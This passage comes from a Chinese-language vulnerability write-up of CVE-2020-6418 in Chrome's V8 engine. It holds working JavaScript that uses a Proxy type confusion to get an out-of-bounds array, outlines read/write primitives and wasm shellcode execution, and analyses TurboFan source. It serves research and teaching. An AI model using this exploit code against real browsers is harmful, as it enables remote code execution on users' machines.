首先是利用类型混淆实现将`float`数组的`length`字段覆盖称很大的值。通过前面我们可以知道`DOUBLE`数组`element`长度是`8`，而`object`数组长度是`4`。通过类型混淆在`Proxy`中将对象从`DOUBLE`数组变成`object`数组，在后续`pop`或者`push`的时候就会实现越界读写，控制好数组长度，并在后面布置数组的话，则可以刚好读写到后面数组的`length`字段，代码如下：
const MAX_ITERATIONS = 0x10000;
var maxSize = 1020*4;
var vulnArray = [,,,,,,,,,,,,,, 1.1, 2.2, 3.3];
vulnArray.pop();
vulnArray.pop();
vulnArray.pop();
var oobArray;
function empty() {}
function evil(optional) {
vulnArray.push(typeof(Reflect.construct(empty, arguments, optional)) === Proxy? 1.1: 8.063e-320); // print (i2f(maxSize<<1)) ==> 8.063e-320
for (let i=0; i<MAX_ITERATIONS; i++) {} // trigger optimization
}
let p = new Proxy(Object, {
get: () => {
vulnArray[0] = {};
oobArray = [1.1, 2.2];
return Object.prototype;
}
});
function VulnEntry(func) {
for (let i=0; i<MAX_ITERATIONS; i++) {}; // trigger optimization
return evil(func);
}
function GetOOBArray()
{
for(let i=0; i<MAX_ITERATIONS; i++) {
empty();
}
VulnEntry(empty);
VulnEntry(empty);
VulnEntry(p);
}
GetOOBArray();
print("oob array length: "+oobArray.length)
得到了任意长度的`double`数组以后，可以利用数组进行进一步的越界读写。
有了越界读写以后就可以构造`AAR`以及`AAW`原语，构造的方式是利用越界读写来找到布置在`oobArray`后面的`BigUint64Array`，然后通过越界写覆盖`BigUint64Array`的`base_pointer`字段以及`external_poiner`来实现任意地址读写原语。
然后是`AddrOf`原语以及`FakeObj`原语的构造，这个和之前的覆盖`object`数组的字段没有差别，只是从以前的覆盖`64`字节变成了现在的`32`字节。
最后就是利用上面的原语来找到`wasm`对象的`rwx`内存，写入`shellcode`，最后触发函数，执行`shellcode`。
## 其它
在调试的过程中，我有一个疑问就是`poc`中为什么一定要写一个`main`函数来调用`f`函数，`main`函数中除了`f`函数的调用以外没有干任何的事情。我去掉`main`，直接调用`f`函数行不行呢？
let a = [0, 1, 2, 3, 4];
function empty() {}
function f(p) {
return a.pop(Reflect.construct(empty, arguments, p));
}
let p = new Proxy(Object, {
get: () => (Object.prototype)
});
function main(p) {
return f(p);
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
f(empty);
f(empty);
%OptimizeFunctionOnNextCall(f);
print(f(p));
答案是不行的，将`poc`改成上面所示代码，是无法漏洞的。
经过分析，发现代码在`Reflect.construct`函数的内联处理函数`ReduceReflectConstruct`函数过程中会先将`JSCall`结点转换成`JSConstructWithArrayLike`结点。
// compiler/js-call-reducer.cc:3906
Reduction JSCallReducer::ReduceJSCall(Node* node,
const SharedFunctionInfoRef& shared) {
...
int builtin_id =
shared.HasBuiltinId() ? shared.builtin_id() : Builtins::kNoBuiltinId;
switch (builtin_id) {
...
case Builtins::kReflectConstruct:
return ReduceReflectConstruct(node);
// compiler/js-call-reducer.cc:2841
// ES6 section 26.1.2 Reflect.construct ( target, argumentsList [, newTarget] )
Reduction JSCallReducer::ReduceReflectConstruct(Node* node) {
...
NodeProperties::ChangeOp(node,
javascript()->ConstructWithArrayLike(p.frequency()));
Reduction const reduction = ReduceJSConstructWithArrayLike(node);
...
}
在`ReduceJSConstructWithArrayLike`函数中会调用`ReduceCallOrConstructWithArrayLikeOrSpread`函数。
在`ReduceCallOrConstructWithArrayLikeOrSpread`函数中如果发现目前优化的函数是最外层函数中的函数的话，则会将结点从`JSConstructWithArrayLike`转化成`JSCallForwardVarargs`结点，从而最终不会出现`JSCreate`结点。
// compiler/js-call-reducer.cc:4681
Reduction JSCallReducer::ReduceJSConstructWithArrayLike(Node* node) {
...
return ReduceCallOrConstructWithArrayLikeOrSpread(
node, 1, frequency, FeedbackSource(),
SpeculationMode::kDisallowSpeculation, CallFeedbackRelation::kRelated);
}
// compiler/js-call-reducer.cc:3519
Reduction JSCallReducer::ReduceCallOrConstructWithArrayLikeOrSpread(
...
// 如果优化的函数已经是最外层函数中的函数
// Check if are spreading to inlined arguments or to the arguments of
// the outermost function.
Node* outer_state = frame_state->InputAt(kFrameStateOuterStateInput);
if (outer_state->opcode() != IrOpcode::kFrameState) {
Operator const* op =
(node->opcode() == IrOpcode::kJSCallWithArrayLike ||
node->opcode() == IrOpcode::kJSCallWithSpread)
? javascript()->CallForwardVarargs(arity + 1, start_index) // 转换成JSCallForwardVarargs结点
: javascript()->ConstructForwardVarargs(arity + 2, start_index);
NodeProperties::ChangeOp(node, op);
return Changed(node);
}
...
NodeProperties::ChangeOp(
node, javascript()->Construct(arity + 2, frequency, feedback)); // 否则转换成JSConstruct结点
Node* new_target = NodeProperties::GetValueInput(node, arity + 1);
Node* frame_state = NodeProperties::GetFrameStateInput(node);
Node* context = NodeProperties::GetContextInput(node);
Node* effect = NodeProperties::GetEffectInput(node);
Node* control = NodeProperties::GetControlInput(node);
所以需要在最外面加一层`main`函数，绕过这个点，从而触发漏洞。
## 总结
通过应急响应这个`cve-2020-6148`漏洞，对于类型混淆漏洞原理进一步掌握，也是对于`pointer
compression`的进一步理解，也是对于新的内存机制下`v8`漏洞利用的学习，一举多得。
相关文件以及代码[链接](https://github.com/ray-cp/browser_pwn/tree/master/cve-2020-6418)
欢迎关注公众号[平凡路上](https://mp.weixin.qq.com/s/TR-JuE2nl3W7ZmufAfpBZA)，一个二进制漏洞分析与利用经验心得交流分享的平台。
## 参考链接
1. [Pointer Compression in V8](https://blog.infosectcbr.com.au/2020/02/pointer-compression-in-v8.html)
2. [V8 release v8.0](https://v8.dev/blog/v8-release-80)
3. [Compressed pointers in V8](https://docs.google.com/document/d/10qh2-b4C5OtSg-xLwyZpEI5ZihVBPtn1xwKBbQC26yI/edit#heading=h.x1cv1fi5g42q)
4. [Reflect.construct()](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Reflect/construct)
5. [Stable Channel Update for Desktop](https://chromereleases.googleblog.com/2020/02/stable-channel-update-for-desktop_24.html)
6. [Trashing the Flow of Data](https://googleprojectzero.blogspot.com/2019/05/trashing-flow-of-data.html)
7. [BigUint64Array](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/BigUint64Array)
8. [fb0a60e15695466621cf65932f9152935d859447](https://chromium.googlesource.com/v8/v8/+/fb0a60e15695466621cf65932f9152935d859447)
9. [Fix bug in receiver maps inference](https://chromium-review.googlesource.com/c/v8/v8/+/2062396)
10. [Security: Incorrect side effect modelling for JSCreate](https://bugs.chromium.org/p/chromium/issues/detail?id=1053604)
11. [A EULOGY FOR PATCH-GAPPING CHROME](https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping/) | 社区文章 |